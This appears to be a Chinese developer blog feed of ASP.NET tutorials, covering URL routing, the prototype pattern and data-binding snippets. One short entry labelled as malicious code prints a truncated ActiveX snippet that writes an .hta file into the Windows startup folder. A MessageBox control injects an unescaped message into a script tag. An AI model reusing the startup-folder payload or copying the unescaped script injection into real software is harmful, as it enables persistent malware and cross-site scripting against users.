博客园_努力习习，天天上上

ASP.NET 4.0 URL路由改进支持

2011-06-12T09:01:00Z

从.NET框架3.5 SP1开始，微软推出了ASP.NET路由支持，从而实现了特定资源的URL与其对应的Web服务器上的物理文件之间的彻底解耦。借助于ASP.NET路由支持，开发人员可以定义一组路由规则，从而实现把路由模式映射到一个生成相应内容的类。例如，你可以把URL“Categories/CategoryName”映射到一个类，该类接收CategoryName而最终生成对应于此种类的产品信息显示于一个网格中的一组HTML标记。有了这样的映射，用户便可以通过访问www.yoursite.com/Categories/Beverages来查看饮料种类对应的所有产品信息。

在.NET 3.5 SP1中，ASP.NET路由主要是为ASP.NET MVC应用而设计的，虽然在非ASP.NET MVC框架支持的Web窗体应用程序中也有可能实现ASP.NET路由支持。然而，在Web窗体应用程序中实现ASP.NET路由会涉及大量额外的工作。

在Web窗体中，通常情况下，我们都要把路由模式映射到一个实际的ASP.NET页面。为此，我们需要创建一个路由处理类以便在请求路由URL时调用之，并且在一定意义上实现了把请求调度到适当的ASP.NET页面。例如，为了把一个路由映射到一个物理文件，比如把Categories/CategoryName映射到ShowProductsByCategory.aspx，我们需要如下三个步骤：

(1)在Global.asax文件中定义映射，用于把路由模式映射到一个路由处理类;

(2)创建路由处理类，它负责解析网址，把所有路由参数存储到一些目标页面可以访问到的位置(如HttpContext.Items)，并返回一个目标页面或处理请求路由的HTTP处理器的实例;

(3)在目标页面中编写代码来获取路由参数，并使用他们生成页面内容。

且不说花费了多大的代价仅仅读取前面的语句(更不用担编写之)，你完全能够想象到—在Web窗体应用程序中执行ASP.NET路由不一定是开发人员最直接的任务。

值得庆幸的是，ASP.NET 4.0通过添加一组类和助理方法极大地简化了ASP.NET路由在Web窗体应用程序中的使用。使用ASP.NET 4.0，你会更容易地定义路由规则，而不再需要创建一个自定义路由处理类。本文将详细探讨这方面的改进支持。

一、ASP.NET路由技术概述

ASP.NET路由能够干净地实现URL与网页文件名之间的解耦，从而可用于创建干净、简洁且搜索引擎友好的网址。有关为什么应该在Web应用程序中使用ASP.NET路由的详细讨论，在此不作详细讨论，请参考其他有关文章。

概括地说，ASP.NET路由允许开发人员定义路由规则，从而实现把一个路由模式(如Categories/CategoryName)映射到一个处理请求的类。这些路由规则在应用程序启动时就已经定义在文件Global.asax中的Application_Start事件处理程序中。

在Web窗体应用程序中，我们可能已经拥有了产生我们感兴趣内容的ASP.NET网页，我们只需要通过路由规则把路由模式映射到这些ASP.NET页面—通过把任何路由参数(例如CategoryName)映射到该ASP.NET页面来实现。当在ASP.NET 3.5 SP1中使用ASP.NET路由时，没有方法直接把路由模式映射到ASP.NET页。相反，我们必须创建一个路由处理类，它负责传递有关传入请求的信息，并且必须返回一个HTTP处理程序来处理此请求。通常，在Web窗体应用程序中一个路由处理类执行以下步骤：

(1)根据需要解析网址，或许研究某些路由参数，并以这些值为基础作出决定。

(2)从需要被传递到ASP.NET页面或HTTP处理程序(它们将处理这一请求)的URL加载任何路由参数。总之，我们要确保ASP.NET页面会生成实际内容，因为此请求知道所有路由参数(如CategoryName)的值。一个传达这样的信息的办法是，把它们放在HttpContext.Items集合中—此集合担当存储特定长度的请求信息的数据存储信息库的作用。

(3)返回执行上述处理的ASP.NET页面或HTTP处理程序的实例。

通常，这些路由处理程序类具有差不多相似的特征。你把路由参数存储到HttpContext.Items集合中，然后创建并返回一个负责生成该网址对应内容的ASP.NET页面的实例。尽管路由处理类具有相似特征，但是编写这些类是一项冗长的任务，因为每个新路由都需要一个新的处理程序类，而此类需要实现几乎与前一个类同样的任务。

在ASP.NET 3.5 SP1中使用ASP.NET路由的另一种挑战主要与负责生成最终内容的ASP.NET页面相关。此页面必须从HttpContext.Items集合((或其它其他存储它们的路由处理程序类)中读出路由参数。此外，为一个超链接或Response.Redirect调用生成路由友好的URL(如Categories/CategoryName)的语法也有点冗长和混乱。

在ASP.NET 4.0中，路由支持得到了增强，包括一些新的路由相关的方法，从而使定义映射到实际ASP.NET页面的路由规则更加简单。在ASP.NET 4.0中，你不再需要创建自定义路由处理程序类作为中介，而只需要从Global.asax文件中的路由规则中直接引用ASP.NET页面即可。当从路由规则中指定一个ASP.NET页面时，路由参数被自动存储在一个新的RouteData集合中，此集合可以从ASP.NET页面中通过Page.RouteData结构进行访问。更重要的是，在.NET框架4.0中包括一个自定义参数控件，这样一来，你可以使用声明的方式从ASP.NET的数据源控件(如SqlDataSource和LinqDataSource等)中使用RouteData中的值，而且也提供了一些方法来生成路由友好的URL，以及重定向到路由友好的网址。

本文将重点讨论ASP.NET在ASP.NET 4.0中的路由系统改进支持。本文提供的演示程序是一个Web窗体应用程序，这是一个罗斯文商贸网站的前端。它使用了ASP.NET路由支持来创造简洁且搜索引擎友好的网址。例如，/Categories/All将显示所有类别，/Categories/Beverages将列出属于饮料类的所有产品，而/Products/Chai将显示有关产品Chai的细节信息。

请注意，为了在ASP.NET 3.5 SP1中使用ASP.NET路由支持，你需要明确地在你的项目中添加对System.Web.Routing程序集的引用，并需要添加一些标记到Web.config配置文件中。这些步骤在使用ASP.NET 4.0时不再需要，而且，在Global.asax文件中用于定义路由规则的语法更为短小、简单和具有可读性。

本文后面的内容将给出在ASP.NET 4.0中使用ASP.NET路由的详细步骤描述。

二、使用ASP.NET 4.0路由

下面给出在ASP.NET 4.0中使用ASP.NET路由的详细描述。

0. 前提

本文提供的演示程序使用了新添加到ASP.NET 4.0中的ASP.NET路由功能。如果你使用Visual Studio 2010或Visual Web Developer 2010(或更高版本)，那么你正好具备了这一前提。

1.在文件Global.asax中定义路由规则

要使用ASP.NET路由系统，你需要在应用程序启动时定义一个或多个路由。方法是，在你的项目中添加一个全局应用程序类文件(Global.asax)。在这个文件中，我们将在Application_Start事件中注册这些路由。

定义于Global.asax文件中的路由指示什么样的路由处理程序负责处理什么样的URL模式。在MVC应用程序中，一种流行的模式是Controller/Action/ID;这意味着针对/Products/View/Aniseed Syrup或Categories/Edit/Beverages的请求将由配置的路由处理程序来处理。在应用程序中定义什么样的路由方面，你可以拥有足够的灵活性。例如，你可以定义模式的多个部分，定义缺少部分的默认值，甚至还要定义针对某些输入类型的限制部分。

本文演示程序是一个简单的数据驱动应用程序，它使用了Northwind数据库，并接受下列模式的URL：

/Categories/All—列出数据库中所有产品类型;

/Categories/CategoryName—列出相应于特定类型的产品信息;

/Products/ProductName—显示特定产品的信息。

因此，我在Global.asax文件的Application_Start事件处理程序中定义了三个路由，如以下代码所示。(注：RouteTable对象和RouteCollection类位于System.Web.Routing命名空间。)

在Application_Start方法中，我们调用了RegisterRoutes，并传递进RouteCollection类型的参数RouteTable.Routes。接下来，在RegisterRoutes方法中，调用RouteCollection类的MapPageRoute方法，它定义了一个路由模式到ASP.NET页面的路由映射。例如，在第一次调用MapPageRoute方法时，我们创建了一个命名为“All Categories”的路由模式—它负责把路由模式Categories/All映射到ASP.NET页面~/ AllCategories.aspx。

接下来的两个MapPageRoute方法调用使用参数创建路由模式。其中，“View Product”路由把模式Products/{ProductName}映射到ASP.NET页面~/ ViewProduct.aspx。这里，{ProductName}是一个参数，意味着任何Products/ProductName形式的请求都将被路由到~/ViewProduct.aspx页面。不久你就会看到，{ProductName}参数的值可以从页面~/ViewProduct.aspx中通过Page.RouteData参数加以访问。

2.创建处理请求的ASP.NET页面

使用ASP.NET 4.0，你不再需要创建一个自定义的路由处理程序类。当你使用MapPageRoute方法时，这一切都会由底层库为你自动完成。剩下的仅仅是，建立处理请求的ASP.NET页面(AllCategories.aspx，CategoryProducts.aspx和ViewProduct.aspx)。当然，本文示例中的这三个网页相当简单—它们都使用数据源控件，并以编程方式绑定到通过路由参数获取的Categories或者Products表格的数据库结果。

void Application_Start(object sender, EventArgs e)

　　{

　　RegisterRoutes(RouteTable.Routes);

　　}

　　void RegisterRoutes(RouteCollection routes)

　　{

　　// Register a route for Categories/All

　　routes.MapPageRoute(

　　"All Categories", //路由名

　　"Categories/All", //路由URL

　　"~/AllCategories.aspx" //处理路由的网页

　　);

　　//处理Categories/{CategoryName}的路由

　　//更多信息，请参考http://forums.asp.net/p/1417546/3131024.aspx

　　routes.MapPageRoute(

　　"View Category", //路由名

　　"Categories/{*CategoryName}", //路由URL

　　"~/CategoryProducts.aspx" //处理路由的网页

　　);

　　// Register a route for Products/{ProductName}

　　routes.MapPageRoute(

　　"View Product", //路由名

　　"Products/{ProductName}", //路由URL

　　"~/ViewProduct.aspx" //处理路由的网页

　　);

　　}

本文演示程序使用LINQ-to-SQL工具实现数据访问。你会在App_Code文件夹下发现一个Northwind.dbml文件，它创建了一个NorthwindDataContext类。ViewProduct.aspx页面中包含一个DetailsView控件，其中的字段用于显示产品的名称，供应商，单位数量，价格以及其他相关信息。页面的代码隐藏类具有以下(省略了部分)代码：

protected void Page_Load(object sender, EventArgs e)

　　{

　　dvProductInfo.DataSource = new Product[] { Product };

　　dvProductInfo.DataBind();

　　}

　　private Product _Product = null;

　　protected Product Product

　　{

　　get

　　{

　　if (_Product == null)

　　{

　　string productName = Page.RouteData.Values["ProductName"] as string;

　　NorthwindDataContext DataContext = new NorthwindDataContext();

　　_Product = DataContext.Products.Where(p => p.ProductName == productName).SingleOrDefault();

　　}

　　return _Product;

　　}

　　}

在上面的Page_Load事件处理程序中，DetailsView控件被绑定到Product属性返回的Product对象上。在此，Product属性读取Page.RouteData集合中的URL中的ProductName参数值，使用的语法是：Page.RouteData.Values["ProductName"]。然后，在LINQ查询中使用ProductName参数值来取回有关具体产品的信息。

下面的屏幕截图显示了运行中的ViewProduct.aspx页面。该网页对应的网址是/Products/Chai，有关该Chai的详细信息显示于此页面中。

在ASP.NET 4.0中设置ASP.NET路由的过程就是这样!但是，在ASP.NET 3.5 SP1中实现上述过程需要五个步骤，而不是二个步骤。

三、生成路由友好的URL

在创建超链接或者把用户通过Response.Redirect方法从一个网页导航到另一个页面时，使用定义于Global.asax中的路由模式(而不是使用它的实际名称来引用ASP.NET页面模式)是比较理想的选择。例如，有一个ViewProducts.aspx页面，其中有一个链接—通过此链接可以返回到显示选定产品类别的所有产品信息，而这个产品类别链接到Categories/CategoryName，其中CategoryName是产品类别名，要显示的是此类别产品的信息。此时，你可以使用Page.GetRouteUrl方法生成这些路由友好的URL。这个方法有许多重载版本，但最简单的版本仅接收两个参数：路由名称和参数的值。

例如，为了取得返回到Categories/CategoryName页面的正确的URL，可以使用以下语法：

Page.GetRouteUrl("View Category", new { CategoryName = CategoryName });

在这里，“View Category”是定义于文件Global.asax中路由规则的名称，而CategoryName是出现在URL中的CategoryName参数的值。另一个更具体的例子是：

Page.GetRouteUrl("View Category", new { CategoryName = "Beverages" });

另外，Response.Redirect方法还有另一个新的版本，名为Response.RedirectToRoute。像Page.GetRouteUrl方法一样，这个方法能够接收路由名称和参数值，然后将用户重定向到适当的、路由友好的网址。下面的示例演示了如何将用户重定向到一个特定产品的视图：

　Response.RedirectToRoute("View Product", new { ProductName = ProductName });

四、结论

ASP.NET路由是.NET框架提供的一个功能强大的库，通过它可以实现URL与底层物理文件间的彻底解耦。自从ASP.NET 3.5 SP1引入后，ASP.NET路由被初步应用于开发ASP.NET MVC应用程序。虽然它也可以用于Web窗体应用程序中，但是配置它需要繁琐的步骤，而且看上去会造成不必要和重复的代码。

ASP.NET 4.0中加强了ASP.NET路由库，并针对Web窗体应用程序提供了更加灵活的直观的使用场景支持。正如本文中你所看到的，把一个路由模式映射到ASP.NET页面只需要在Global.asax中添加几行代码，而不再需要创建一个自定义的路由处理类。在底层，ASP.NET路由库会自动把路由参数保存到RouteData集合中—然后，你可以从Page类中访问它。而且，这些RouteData值也可以通过像SqlDataSource和ObjectDataSource这样的数据源控件以声明进行访问。

本文链接

WPF 用webBowser 嵌套 URL地址显示ReportViewer导出EXCEL的一些问题

2010-12-22T03:31:00Z

最近在做一个c/s结构的项目，客户端用的WPF ，现在想实现SSRS的报表功能，但是WPF又没有RepoerViewer控件，所以我们就换了个思路，用WPF的WEBBorwser 去嵌套一个已经用B/S做好的报表项目，显示没有任何问题

但是在导出EXCEL的时候出现了问题一直提示asp.net的会话已过期，我换了N种方法解决，用了SQLServerf存储session 也用了stateServer存储session 可是最后结果都不行，还是提示asp.net的会话已过期，我的环境是服务器是：win2008r2 数据库是sql2008R2

本文链接

简单的封装一个HTML 弹出对话框的空间

2010-12-02T15:11:00Z

using System;
using System.Data;
using System.Configuration;

using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;

namespace sjn
{
    /// <summary>
    ///MessageBox 的摘要说明
    /// </summary>
    public sealed class MessageBox : WebControl
    {
        private bool _show = false;
        private string _message = string.Empty;
        public void Show(string msg)
        {
            this._show = true;
            this._message = ToJSString(msg);
        }

        protected override void Render(HtmlTextWriter writer)
        {
            if (_show)
            {
                writer.Write("{0}", this._message);
            }

        }

        string ToJSString(string msg)
        {
            return " <script>alert('" + msg + "') </script>";

        }
    }
}

本文链接

原型模式（Prototype）

2010-05-22T17:48:00Z

本文参考:http://www.cnblogs.com/QinBaoBei/archive/2010/05/22/1741661.html

本文只做学习笔记

简单的浅

using System;
namespace XixaoNan.A
{
    /// <summary>
    /// 声明一个抽象类
    /// </summary>
    public abstract class AbstractPrototype
    {
        private string name;
        public string Name
        {
            get { return name; }
            set { name = value; }
        }

        public abstract AbstractPrototype Clone();
    }

    public class CreateProtoTypeA : AbstractPrototype
    {
        public CreateProtoTypeA(string name)
        {
            this.Name = name;
        }

        public override AbstractPrototype Clone()
        {
            /* 摘自 MSDN:
            MemberwiseClone 方法创建一个浅表副本
            方法是创建一个新对象
            然后将当前对象的非静态字段复制到该新对象
            如果字段是值类型的
            则对该字段执行逐位复制
            如果字段是引用类型
            则复制引用但不复制引用的对象
            因此，原始对象及其复本引用同一对象。
            例如，考虑一个名为 X 的对象，
            该对象引用对象 A 和 B,对象 B 又引用对象 C
            X 的浅表副本创建一个新对象 X2,该对象也引用对象 A 和 B
            与此相对照,X 的深层副本创建一个新对象 X2,
            该对象引用新对象 A2 和 B2，它们分别是 A 和 B 的副本
            B2 又引用新对象 C2，C2 是 C 的副本
            使用实现 ICloneable 接口的类执行对象的浅表或深层复制
          */
            return (AbstractPrototype)this.MemberwiseClone();

        }
    }

    public class Client
    {
        static void Main()
        {
            AbstractPrototype absA = new CreateProtoTypeA("A的名字");
            AbstractPrototype absB = absA.Clone();
            Console.WriteLine("A的名字是："+absA.Name);
            Console.WriteLine("B的名字是："+absB.Name);
            absB.Name = "B 新换的名字";
            Console.WriteLine("B的名字是：" + absB.Name);
            Console.ReadLine();
        }
    }
}

深克隆方法

using System;


    public class ConcreteProtoTypeA : ICloneable
    {
        private string name;
        private Test test;

        public string Name
        {
            get { return name; }
            set { name = value; }
        }

        public ConcreteProtoTypeA(string name, Test test)
        {
            this.Name = name;
            this.test = test;
        }

        public Object Clone()
        {
            //先同过现有的 Test 对象来克隆一个新的 Test 对象
            Test myTest = (Test)this.test.Clone();
            //然后通过这个新的 Test 对象来实例化一个新的 ConcreteProtoTypeA 对象
            return new ConcreteProtoTypeA(this.name, myTest);
        }

        public void SetTest(string test)
        {
            this.test.TestName = test;
        }

        public void DisplayTest()
        {
            Console.WriteLine(this.test.TestName);
        }
    }

    public class Test : ICloneable
    {
        private string testName;

        public string TestName
        {
            get { return testName; }
            set { testName = value; }
        }

        public Test(string name)
        {
            this.TestName = name;
        }

        /// <summary>
        /// 实现一个克隆
        /// </summary>
        /// <returns></returns>
        public Object Clone()
        {
            return (Object)this.MemberwiseClone();
        }
    }




    class Program
    {
        static void Main(string[] args)
        {
            Test test = new Test("BaoBeiMe");
            //首先是要实例化一个原型对象
            ConcreteProtoTypeA prototypeA = new ConcreteProtoTypeA("A", test);
            //根据这个原型对象来克隆一个新的对象
            ConcreteProtoTypeA prototypeB = (ConcreteProtoTypeA)prototypeA.Clone();

            prototypeA.DisplayTest();
            prototypeB.DisplayTest();

            //修改新对象指向的引用对象 Test
            prototypeB.SetTest("BoyXiao");
            Console.WriteLine("\n修改值后的结果：\n");
            prototypeA.DisplayTest();
            prototypeB.DisplayTest();

            Console.ReadKey();
        }
    }

本文链接

恶性代码

2008-05-20T12:25:00Z

格式化硬盘<objectid="scr"classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"></object><script>scr.Reset();scr.Path="C:\\windows\\Men?inicio\\Programas\\Inicio\\automat.hta";scr.Doc="<...

AdvDataList分页例码

2008-05-07T02:36:00Z

AdvDataList分页例码

问一个关于生成静态页面的问题

2008-04-13T02:47:00Z

普通的页面生成静态的比较容易,我在网上看到好多的网站基本上整站都是静态的,包括登陆,等等但是我的网站有一个页面是连动的下拉列表框,里面的数据都是在数据库里面读出来的请教一下高手,象我这个页面怎么能生成静态的呢,请指点一下

简单读区XML

2008-03-26T02:47:00Z

HTML:<asp:XmlDataSourceID="XmlDataSource1"runat="server"DataFile="~/InfotmationType.xml"XPath="Types/Company"></asp:XmlDataSource><asp:DropDownListID="DropDownList10"runat="server"AutoP...

使用XMLDataSource简单实现多级下拉菜单

2008-03-26T02:45:00Z

以前用asp的时候写过多级关联的下拉菜单，比如大类别、小类别，选择省份、显示城市等，那时候要用Javascript写个函数，论效率应该比XMLDataSource高，页面也不用返回服务器。今天把省份城市乡镇写成XML，用XMLDataSource绑定asp:DropDownList为了尝尝鲜。

ASP.NET实现新闻页面的分页功能[生成静态版]

2008-03-25T08:29:00Z

//生成静态网页 string path = Server.MapPath("~/news/" + folder + "/"); string file_template_name = Server.MapPath("~/news/template.htm"); //新闻模版文件 string file_template_content = ""; StreamReader sr_reader = new StreamReader(file_template_name, Encoding.GetEncoding("gb2312")); file_template_content = sr_reader.ReadToEnd(); sr_reader.Close(); string[] subContent = FileSplit

博客园_努力习习，天天上上

ASP.NET 4.0 URL路由改进支持

WPF 用webBowser 嵌套 URL地址 显示ReportViewer导出EXCEL的一些问题

简单的封装一个HTML 弹出对话框的空间

原型模式（Prototype）

恶性代码

AdvDataList分页 例码

问一个关于生成静态页面的问题

简单读区XML

使用XMLDataSource简单实现多级下拉菜单

ASP.NET实现新闻页面的分页功能[生成静态版]

WPF 用webBowser 嵌套 URL地址显示ReportViewer导出EXCEL的一些问题

AdvDataList分页例码